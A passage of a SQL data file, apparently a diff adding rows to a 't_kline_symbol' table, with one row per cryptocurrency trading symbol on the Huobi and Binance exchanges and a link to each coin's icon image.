NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1119, 'binance', 'YGG', 'YGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1120, 'huobi', 'kyve', 'KYVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/kyvenetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1121, 'binance', 'DODOX', 'DODOX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1122, 'huobi', 'btc', 'BTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1123, 'huobi', 'bch', 'BCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1124, 'huobi', 'eth', 'ETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1125, 'huobi', 'xrp', 'XRP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1126, 'huobi', 'ltc', 'LTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1127, 'huobi', 'ada', 'ADA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1128, 'huobi', 'eos', 'EOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1129, 'huobi', 'iota', 'IOTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iota.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1130, 'huobi', 'xem', 'XEM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1131, 'huobi', 'xmr', 'XMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1132, 'huobi', 'dash', 'DASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1133, 'huobi', 'neo', 'NEO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1134, 'huobi', 'trx', 'TRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1135, 'huobi', 'icx', 'ICX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1136, 'huobi', 'qtum', 'QTUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/qtum.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1137, 'huobi', 'etc', 'ETC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-classic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1138, 'huobi', 'omg', 'OMG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/omisego.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1139, 'huobi', 'zec', 'ZEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1140, 'huobi', 'bts', 'BTS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1141, 'huobi', 'waves', 'WAVES', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/waves.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1142, 'huobi', 'knc', 'KNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1143, 'huobi', 'bat', 'BAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/basic-attention-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1144, 'huobi', 'zrx', 'ZRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1145, 'huobi', 'mana', 'MANA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentraland.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1146, 'huobi', 'cvc', 'CVC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/civic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1147, 'huobi', 'mtl', 'MTL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1148, 'huobi', 'storj', 'STORJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1149, 'huobi', 'link', 'LINK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainlink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1150, 'huobi', 'iost', 'IOST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iostoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1151, 'huobi', 'theta', 'THETA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/theta-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1152, 'huobi', 'zil', 'ZIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zilliqa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1153, 'huobi', 'edu', 'EDU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-campus.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1154, 'huobi', 'blz', 'BLZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1155, 'huobi', 'ont', 'ONT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ontology.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1156, 'huobi', 'dgb', 'DGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digibyte.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1157, 'huobi', 'xlm', 'XLM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/stellar.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1158, 'huobi', 'xvg', 'XVG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1159, 'huobi', 'bnb', 'BNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1160, 'huobi', 'vet', 'VET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/vet.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1161, 'huobi', 'gtc', 'GTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gitcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1162, 'huobi', 'hot', 'HOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/holo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1163, 'huobi', 'ren', 'REN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/republic-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1164, 'huobi', 'usdc', 'USDC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usd-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1165, 'huobi', 'zen', 'ZEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zencash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1166, 'huobi', 'xtz', 'XTZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tezos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1167, 'huobi', 'doge', 'DOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1168, 'huobi', 'sc', 'SC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1169, 'huobi', 'atom', 'ATOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1170, 'huobi', 'rsr', 'RSR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/e405995612c6a280603e0e9187aa6190.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1171, 'huobi', 'nkn', 'NKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1172, 'huobi', 'apt', 'APT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aptos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1173, 'huobi', 'algo', 'ALGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/algorand.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1174, 'huobi', 'ankr', 'ANKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ankr-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1175, 'huobi', 'ftt', 'FTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ftx.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1176, 'huobi', 'arpa', 'ARPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arpa.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1177, 'huobi', 'one', 'ONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/harmony.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1178, 'huobi', 'ckb', 'CKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nervos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1179, 'huobi', 'ogn', 'OGN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1180, 'huobi', 'rvn', 'RVN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ravencoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1181, 'huobi', 'dot', 'DOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkadot-new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1182, 'huobi', 'chr', 'CHR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d9875ce3cc365821560227f4e48969a6.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1183, 'huobi', 'ksm', 'KSM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kusama.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1184, 'huobi', 'klay', 'KLAY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/klaytn.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1185, 'huobi', 'bal', 'BAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/balancer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1186, 'huobi', 'band', 'BAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/band-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1187, 'huobi', 'ant', 'ANT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aragon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1188, 'huobi', 'mkr', 'MKR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1189, 'huobi', 'crv', 'CRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/curve.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1190, 'huobi', 'trb', 'TRB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tellor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1191, 'huobi', 'comp', 'COMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/compound-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1192, 'huobi', 'snx', 'SNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/havven.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1193, 'huobi', 'yfi', 'YFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yearn-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1194, 'huobi', 'ach', 'ACH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemy-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1195, 'huobi', 'sushi', 'SUSHI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sushi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1196, 'huobi', 'sand', 'SAND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-sandbox.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1197, 'huobi', 'lrc', 'LRC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopring.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1198, 'huobi', 'uma', 'UMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1199, 'huobi', 'uni', 'UNI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1200, 'huobi', 'avax', 'AVAX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avalanche.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1201, 'huobi', 'bel', 'BEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1202, 'huobi', 'perp', 'PERP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1203, 'huobi', 'ar', 'AR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arweave.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1204, 'huobi', 'chz', 'CHZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chiliz.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1205, 'huobi', 'aave', 'AAVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavenew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1206, 'huobi', 'hbar', 'HBAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedera-hashgraphiou.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1207, 'huobi', 'near', 'NEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/near-iounear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1208, 'huobi', 'fil', 'FIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1209, 'huobi', 'inj', 'INJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/injective-protocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1210, 'huobi', 'woo', 'WOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wootrade-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1211, 'huobi', 'sol', 'SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1212, 'huobi', 'kava', 'KAVA', NULL, NULL, 'http://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kava.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1213, 'huobi', 'iotx', 'IOTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iotex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1214, 'huobi', 'skl', 'SKL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1215, 'huobi', 'grt', 'GRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-graph.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1216, 'huobi', 'api3', 'API3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/api3.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1217, 'huobi', '1inch', '1INCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1inch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1218, 'huobi', 'lina', 'LINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1219, 'huobi', 'matic', 'MATIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1220, 'huobi', 'reef', 'REEF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1221, 'huobi', 'flow', 'FLOW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flow.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1222, 'huobi', 'auction', 'AUCTION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/auction.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1223, 'huobi', 'mask', 'MASK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mask-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1224, 'huobi', 'enj', 'ENJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enjin-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1225, 'huobi', 'axs', 'AXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axie-infinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1226, 'huobi', 'rndr', 'RNDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/render-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1227, 'huobi', 'ctsi', 'CTSI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartesi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1228, 'huobi', 'rlc', 'RLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rlc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1229, 'huobi', 'icp', 'ICP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfn.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1230, 'huobi', 'mina', 'MINA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mina-protocoliou.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1231, 'huobi', 'srm', 'SRM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1232, 'huobi', 'rad', 'RAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radicle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1233, 'huobi', 'coti', 'COTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1234, 'huobi', 'ftm', 'FTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantom.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1235, 'huobi', 'sxp', 'SXP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swipe.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1236, 